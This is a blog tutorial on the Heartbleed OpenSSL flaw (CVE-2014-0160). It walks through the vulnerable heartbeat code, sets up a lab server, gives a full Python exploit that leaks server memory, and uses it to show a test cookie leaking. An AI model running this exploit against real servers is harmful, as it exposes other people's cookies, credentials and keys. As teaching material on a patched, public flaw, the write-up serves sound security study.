[Learning] CVE-2014-0160: Heartbleed

First Post:

Last Update:

Word Count:
3.4k

Read Time:
21 min

Introduction

This article is part of my series: From Bug To Exploit.

In this article, I will introduce Heartbleed, a famous vulnerability in OpenSSL discovered in 2014.

Heartbeat and Heartbleed

The OpenSSL Heartbeat extension is an extension to the TLS/DTLS protocols. According to RFC 6520, this extension allows endpoints to keep a connection alive without performing a renegotiation. It can also be used as a basis for Path MTU (PMTU) discovery in DTLS.

In short, the Heartbeat extension allows one endpoint to check whether the other endpoint is still responsive by sending a simple request, without having to renegotiate the connection.

In 2014, researchers discovered a bug in OpenSSL’s implementation of this extension. OpenSSL versions 1.0.1 through 1.0.1f were affected by this vulnerability. The implementation did not properly validate the length specified in Heartbeat requests, allowing remote attackers to read parts of a process’s memory by sending specially crafted packets. This vulnerability became known as Heartbleed.

The vulnerability was named Heartbleed.

Murmur: A creative name, right?

One of the most concerning targets was HTTPS servers. We know that HTTPS protects communication between users and servers by encrypting the data exchanged between them. However, Heartbleed could allow an attacker to read sensitive information from a server’s memory, potentially including session cookies, authentication credentials, and other confidential data.

If an attacker obtained a valid session cookie or other authentication material, they might be able to impersonate a legitimate user and potentially gain administrative access, depending on the information exposed and the application’s security mechanisms.

In this article, I will demonstrate how Heartbleed works.

Setting Up the Environment

Now, let’s set up a vulnerable server.

Download and extract the vulnerable OpenSSL source code:

1
2
3
wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1c.tar.gz
tar -zxvf openssl-1.0.1c.tar.gz
cd openssl-1.0.1c/

Compile OpenSSL and start the test server:

1
2
3
4
./config no-shared -g -O0
make
./util/opensslwrap.sh req -x509 -nodes -days 365 -newkey rsa:1024 -keyout server.key -out server.crt -config apps/openssl.cnf
./util/opensslwrap.sh s_server -accept 4433 -www -cert server.crt -key server.key

Now, open the following URL in your browser:

1
https://<Server IP>:4433/

If the website opens successfully, your vulnerable test server is up and running!

Cause of the Vulnerability

The vulnerability was caused by a flaw in the implementation of the tls1_process_heartbeat function in ./ssl/t1_lib.c.

The function can be located using the following command:

1
grep -n "tls1_process_heartbeat" ssl/t1_lib.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
// ssl/t1_lib.c

int tls1_process_heartbeat(SSL *s)
{
unsigned char *p = &s->s3->rrec.data[0], *pl;
unsigned short hbtype;
unsigned int payload;
unsigned int padding = 16; /* Use minimum padding */

/* Read type and payload length first */
hbtype = *p++;
n2s(p, payload);
pl = p;

if (s->msg_callback)
s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT,
&s->s3->rrec.data[0], s->s3->rrec.length,
s, s->msg_callback_arg);

if (hbtype == TLS1_HB_REQUEST)
{
unsigned char *buffer, *bp;
int r;

/* Allocate memory for the response, size is 1 bytes
* message type, plus 2 bytes payload length, plus
* payload, plus padding
*/
buffer = OPENSSL_malloc(1 + 2 + payload + padding);
bp = buffer;

/* Enter response type, length and copy payload */
*bp++ = TLS1_HB_RESPONSE;
s2n(payload, bp);
memcpy(bp, pl, payload);
bp += payload;
/* Random padding */
RAND_pseudo_bytes(bp, padding);

r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);

if (r >= 0 && s->msg_callback)
s->msg_callback(1, s->version, TLS1_RT_HEARTBEAT,
buffer, 3 + payload + padding,
s, s->msg_callback_arg);

OPENSSL_free(buffer);

if (r < 0)
return r;
}
else if (hbtype == TLS1_HB_RESPONSE)
{
unsigned int seq;

/* We only send sequence numbers (2 bytes unsigned int),
* and 16 random bytes, so we just try to read the
* sequence number */
n2s(pl, seq);

if (payload == 18 && seq == s->tlsext_hb_seq)
{
s->tlsext_hb_seq++;
s->tlsext_hb_pending = 0;
}
}

return 0;
}

The implementations of the n2s and s2n macros are shown below:

1
2
3
4
5
6
// ssl/ssl_locl.h

#define n2s(c,s) ((s=(((unsigned int)(c[0]))<< 8)| \
(((unsigned int)(c[1])) )),c+=2)
#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
c[1]=(unsigned char)(((s) )&0xff)),c+=2)

The idea behind a Heartbeat request is straightforward: a client sends a payload and specifies its length, and the server responds by sending the same payload and length back to the client.

The vulnerability lies in how the server handles the payload length.

First, the tls1_process_heartbeat function retrieves the payload length from the packet using the n2s macro. It then allocates a response buffer based on the specified length and copies data from the input buffer using memcpy, without verifying that the specified length matches the actual amount of payload data received.

Ideally, the server should copy only the payload data that was actually received. However, an attacker can specify a payload length that is larger than the actual payload. Since the function does not validate this length against the amount of data available in the received packet, memcpy reads beyond the end of the actual payload and copies additional bytes from the process memory into the response buffer. This results in a buffer over-read.

Because the server process may also handle other requests and store sensitive information in memory, the leaked data can potentially include confidential information, such as session cookies, authentication credentials, or other data left in memory.

This is the fundamental cause of Heartbleed: the server trusts the payload length supplied by the peer without checking whether that amount of data is actually available in the received message.

Exploit

By now, you should understand how the vulnerability works. Therefore, we can move on to writing an exploit script.

How can we write an SSL/TLS client from scratch? First, let’s observe how OpenSSL establishes a connection to the server:

1
openssl s_client -connect 192.168.235.154:4433

Based on this, we can write our first program to send a TLS ClientHello message:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
def build_client_hello(tls_version = 1) -> bytes:
if tls_version == 0:
ver_bytes = b'\x03\x01'
elif tls_version == 1:
ver_bytes = b'\x03\x02'
elif tls_version == 2:
ver_bytes = b'\x03\x03'
else:
ver_bytes = b'\x03\x02'

random_bytes = struct.pack('>I', int(time.time())) + os.urandom(28)

session_id = b'\x00'

cipher_suites_list = [
b"\xc0\x14",
b"\xc0\x0a",
b"\xc0\x22",
b"\xc0\x21",
b"\x00\x39",
b"\x00\x38",
b"\x00\x88",
b"\x00\x87",
b"\xc0\x0f",
b"\xc0\x05",
b"\x00\x35",
b"\x00\x84",
b"\xc0\x12",
b"\xc0\x08",
b"\xc0\x1c",
b"\xc0\x1b",
b"\x00\x16",
b"\x00\x13",
b"\xc0\x0d",
b"\xc0\x03",
b"\x00\x0a",
b"\xc0\x13",
b"\xc0\x09",
b"\xc0\x1f",
b"\xc0\x1e",
b"\x00\x33",
b"\x00\x32",
b"\x00\x9a",
b"\x00\x99",
b"\x00\x45",
b"\x00\x44",
b"\xc0\x0e",
b"\xc0\x04",
b"\x00\x2f",
b"\x00\x96",
b"\x00\x41",
b"\xc0\x11",
b"\xc0\x07",
b"\xc0\x0c",
b"\xc0\x02",
b"\x00\x05",
b"\x00\x04",
b"\x00\x15",
b"\x00\x12",
b"\x00\x09",
b"\x00\x14",
b"\x00\x11",
b"\x00\x08",
b"\x00\x06",
b"\x00\x03",
b"\x00\xff", # Renegotiation Info
]
cipher_suites = b''.join(cipher_suites_list)
cipher_suites_len = struct.pack(
">H", len(cipher_suites)
)

compression_methods = b'\x01\x00'

client_hello_body = (
ver_bytes +
random_bytes +
session_id +
cipher_suites_len + cipher_suites +
compression_methods
)

body_len = len(client_hello_body)
handshake_header = b'\x01' + struct.pack('>I', body_len)[1:]
handshake_msg = handshake_header + client_hello_body

record_len = len(handshake_msg)
record_header = b'\x16' + ver_bytes + struct.pack('>H', record_len)

return record_header + handshake_msg

By referring to the RFC documentation, we can learn how a Heartbeat packet is defined.

With this information, we can implement a complete exploit script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
# exploit.py

import socket
import time
import struct
import os
import argparse
import select
import sys
import re

from dataclasses import dataclass
from typing import Optional
from colorama import Fore, Style

parser = argparse.ArgumentParser()
parser.add_argument('--hello', action='store_true', default=False)
parser.add_argument('--test', action='store_true', default=False)
parser.add_argument('--bleed', action='store_true', default=False)
parser.add_argument('--length', type=int, default=16384)
parser.add_argument('--hexdump', action='store_true', default=False)
parser.add_argument('--ip')
parser.add_argument('-p', '--port')
args = parser.parse_args()

TLS_RECORD_HEADER_LENGTH = 5

@dataclass
class TLSMessage:
record_type: int
version: int
payload: bytes

def build_client_hello(tls_version = 1) -> bytes:
if tls_version == 0:
ver_bytes = b'\x03\x01'
elif tls_version == 1:
ver_bytes = b'\x03\x02'
elif tls_version == 2:
ver_bytes = b'\x03\x03'
else:
ver_bytes = b'\x03\x02'

random_bytes = struct.pack('>I', int(time.time())) + os.urandom(28)

session_id = b'\x00'

cipher_suites_list = [
b"\xc0\x14",
b"\xc0\x0a",
b"\xc0\x22",
b"\xc0\x21",
b"\x00\x39",
b"\x00\x38",
b"\x00\x88",
b"\x00\x87",
b"\xc0\x0f",
b"\xc0\x05",
b"\x00\x35",
b"\x00\x84",
b"\xc0\x12",
b"\xc0\x08",
b"\xc0\x1c",
b"\xc0\x1b",
b"\x00\x16",
b"\x00\x13",
b"\xc0\x0d",
b"\xc0\x03",
b"\x00\x0a",
b"\xc0\x13",
b"\xc0\x09",
b"\xc0\x1f",
b"\xc0\x1e",
b"\x00\x33",
b"\x00\x32",
b"\x00\x9a",
b"\x00\x99",
b"\x00\x45",
b"\x00\x44",
b"\xc0\x0e",
b"\xc0\x04",
b"\x00\x2f",
b"\x00\x96",
b"\x00\x41",
b"\xc0\x11",
b"\xc0\x07",
b"\xc0\x0c",
b"\xc0\x02",
b"\x00\x05",
b"\x00\x04",
b"\x00\x15",
b"\x00\x12",
b"\x00\x09",
b"\x00\x14",
b"\x00\x11",
b"\x00\x08",
b"\x00\x06",
b"\x00\x03",
b"\x00\xff", # Renegotiation Info
]
cipher_suites = b''.join(cipher_suites_list)
cipher_suites_len = struct.pack(
">H", len(cipher_suites)
)

compression_methods = b'\x01\x00'

client_hello_body = (
ver_bytes +
random_bytes +
session_id +
cipher_suites_len + cipher_suites +
compression_methods
)

body_len = len(client_hello_body)
handshake_header = b'\x01' + struct.pack('>I', body_len)[1:]
handshake_msg = handshake_header + client_hello_body

record_len = len(handshake_msg)
record_header = b'\x16' + ver_bytes + struct.pack('>H', record_len)

return record_header + handshake_msg

def build_mal_heartbeat(tls_ver = 1, payload_length: int = 16384) -> bytes:
hb_type = b'\x01'
declared_len = struct.pack('>H', payload_length)

actual_payload = b'\x40'
padding = b'\x00' * 16

heartbeat_body = hb_type + declared_len + actual_payload + padding

record_type = b'\x18'

if tls_ver == 0:
tls_version = b'\x03\x01'
elif tls_ver == 1:
tls_version = b'\x03\x02'
elif tls_ver == 2:
tls_version = b'\x03\x03'
else:
tls_version = b'\x03\x02'

record_len = len(heartbeat_body)
record_header = record_type + tls_version + struct.pack('>H', record_len)

return record_header + heartbeat_body

def hexdump(payload: bytes):
for b in range(0, len(payload), 16):
line = [c for c in payload[b : b + 16]]
hex_data = ' '.join('%02X' % c for c in line)
out = ''.join(chr(c) if 32 <= c < 126 else '.' for c in line)

print(' %04X: %-48s %s' % (b, hex_data, out))

print('')

def hexdump_ascii(payload: bytes):
hex_data = ''

for b in range(0, len(payload), 16):
line = [c for c in payload[b : b + 16]]
hex_data += ''.join((chr(c) if ((32 <= c <= 126) or (c == 10) or (c == 13)) else '.') for c in line)

hex_data = re.sub(r'([.]{50,})', '', hex_data)

print(hex_data)

def recvall(sock: socket.socket, length: int, timeout: int = 10) -> bytes:
endtime = time.time() + timeout
rdata = b''
remain = length

while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None

r, w, e = select.select([sock], [], [], 5)
if sock in r :
data = sock.recv(remain)
if not data:
# EOF
return None

rdata += data
remain -= len(data)

return rdata

def recvmsg(s: socket.socket) -> Optional[TLSMessage]:
hdr = recvall(s, TLS_RECORD_HEADER_LENGTH)
if hdr is None:
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} Unexpected EOF receiving record header - server closed connection')
return None

rec_type, ver, ln = struct.unpack('>BHH', hdr)

pay = recvall(s, ln, 10)
if pay is None:
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} Unexpected EOF receiving record payload - server closed connection')
return None

return TLSMessage(
record_type=rec_type,
version=ver,
payload=pay
)

def parse_handshake_message(payload: bytes):
if not payload:
return

hs_type = payload[0]
hs_type_names = {
1: "Client Hello",
2: "Server Hello",
11: "Certificate",
12: "Server Key Exchange",
14: "Server Hello Done"
}
name = hs_type_names.get(hs_type, f"Unknown ({hs_type})")

hs_len = int.from_bytes(payload[1:4], 'big')

print(f" └─ Handshake Protocol: {name}")
print(f" ├─ Handshake Type: {hs_type} ({name})")
print(f" └─ Length: {hs_len}")

if hs_type == 2:
ver = payload[4:6].hex()
print(f" ├─ Server Version: 0x{ver}")
print(f" ├─ Random (Timestamp + Bytes): {payload[6:38].hex()[:16]}...")

session_id_len = payload[38]
session_id_end = 39 + session_id_len
print(f" ├─ Session ID Length: {session_id_len}")

cipher_suite = payload[session_id_end:session_id_end+2].hex()
print(f" ├─ Selected Cipher Suite: 0x{cipher_suite}")

compression = payload[session_id_end+2]
print(f" └─ Compression Method: {compression}")

def do_hello(s: socket.socket, print_packet: bool = False):
print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Sending client hello...')

hello = build_client_hello()
s.send(hello)

print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Waiting for Server Hello & Handshake messages...\n')

while True:
tls_msg = recvmsg(s)

if tls_msg is None:
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} Server closed connection without completing handshake')
return

if print_packet:
record_type_names = {
20: "Change Cipher Spec",
21: "Alert",
22: "Handshake",
23: "Application Data"
}
rec_name = record_type_names.get(tls_msg.record_type, f"Unknown ({tls_msg.record_type})")

print(f"{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Transport Layer Security (TLS) Record Layer")
print(f" ├─ Content Type: {rec_name} ({tls_msg.record_type})")
print(f" ├─ Version: 0x{tls_msg.version:04x}")
print(f" └─ Length: {len(tls_msg.payload)}")

if tls_msg.record_type == 22:
parse_handshake_message(tls_msg.payload)

print("-" * 50)

if tls_msg.record_type == 22 and tls_msg.payload and tls_msg.payload[0] == 0x0E:
print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Handshake finished! Received Server Hello Done.')
print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Target is ready. Now we can launch Heartbleed!')
print('')

return

def do_test(sock: socket.socket):
do_hello(sock)
sock.send(build_mal_heartbeat())

while True:
tls_msg = recvmsg(sock)
if tls_msg == None:
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} No heartbeat response received, server likely not vulnerable')
return False

if tls_msg.record_type == 24:
if len(tls_msg.payload) > 3:
print(f'{Fore.GREEN + Style.BRIGHT}[+]{Style.RESET_ALL} Server returned more data that it should - Server is vulnerable!')
print('')
return True

if tls_msg.record_type == 21:
print('[!] Received alert:')
hexdump(tls_msg.payload)
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} Server returned error, likely not vulnerable')

return False

def do_bleed(sock: socket.socket):
do_hello(sock)
sock.send(build_mal_heartbeat(payload_length = args.length))

while True:
tls_msg = recvmsg(sock)
if tls_msg == None:
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} No heartbeat response received, server likely not vulnerable')
return False

if tls_msg.record_type == 24:
print(f'{Fore.BLUE + Style.BRIGHT}[+]{Style.RESET_ALL} Received heartbeat response:')
if args.hexdump:
hexdump(tls_msg.payload)
else:
hexdump_ascii(tls_msg.payload)

return True

if tls_msg.record_type == 21:
print('[!] Received alert:')
hexdump_ascii(tls_msg.payload)
print(f'{Fore.RED + Style.BRIGHT}[*]{Style.RESET_ALL} Server returned error, likely not vulnerable')

return False

def main():
if not args.ip or not args.port:
parser.print_help()
sys.exit(1)
if not args.port.isdigit():
parser.print_help()
sys.exit(1)

ip = args.ip
port = int(args.port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print(f'{Fore.BLUE + Style.BRIGHT}[*]{Style.RESET_ALL} Connecting...')

s.connect((ip, port))

if args.hello:
do_hello(s, True)
elif args.bleed:
# normal heartbeat
do_bleed(s)
elif args.test:
# test heartbleed
do_test(s)

if __name__ == '__main__':
main()

Now, let’s analyze the vulnerability dynamically using GDB.

1
2
3
4
gdb --args ./apps/openssl s_server -accept 4433 -www -cert server.crt -key server.key
set environment LD_LIBRARY_PATH=/home/sdksdk/exploit/openssl-1.0.1c
break tls1_process_heartbeat
run s_server -accept 4433 -www -cert server.crt -key server.key

Run the exploit script:

1
python3 exploit.py --ip <TARGET IP> -p 4433 --test

Execution should stop at tls1_process_heartbeat. Step through the function one line at a time by entering next:

We can see that the declared payload length is 0x114. Next, continue stepping through the function until it reaches memcpy:

The destination buffer starts at 0x5555558374ec, while the source pointer is at 0x5555558375ef. The source data extends beyond the actual Heartbeat payload, demonstrating the out-of-bounds read.

Therefore, we have successfully demonstrated the vulnerability.

Now, let’s inspect the TCP traffic using Wireshark:

As we can see, the TLS application data is encrypted, so we cannot directly read the sensitive information from the captured traffic.

Next, I will demonstrate how Heartbleed can expose sensitive data, such as session IDs or cookies, stored in the server’s memory.

For this demonstration, we can use a browser with a cookie editor extension to add a test cookie, then refresh the web page so that the cookie is sent to the server.

Next, run the exploit script against the HTTPS server:

1
2
3
python3 exploit.py --ip 192.168.235.154 -p 4433 --test
python3 exploit.py --ip 192.168.235.154 -p 4433 --bleed
python3 exploit.py --ip 192.168.235.154 -p 4433 --bleed --hex

As we can see, the cookie has been exposed in the leaked memory data!

If an attacker obtains a valid session cookie, they may be able to impersonate the user associated with that session. If the session belongs to an administrator, this could potentially provide access to the administrative dashboard, depending on the application’s session management and security controls.

Conclusion

This article demonstrates how a memory disclosure vulnerability can lead to further attacks. In a real-world scenario, the consequences could be even more serious if other sensitive information, such as authentication credentials or private keys, were exposed.

Heartbleed really impressed me when I was just getting started in cybersecurity. Back then, I had no idea how it worked. Now, I can understand the vulnerability and reimplement the exploit myself. I believe this is also a sign that my skills and knowledge have been improving.

THANKS FOR READING

Well… I have been struggling with something in my life, and my mood has been a little down. That’s why I didn’t make a satisfying new drawing… sorry ( ; _ ;)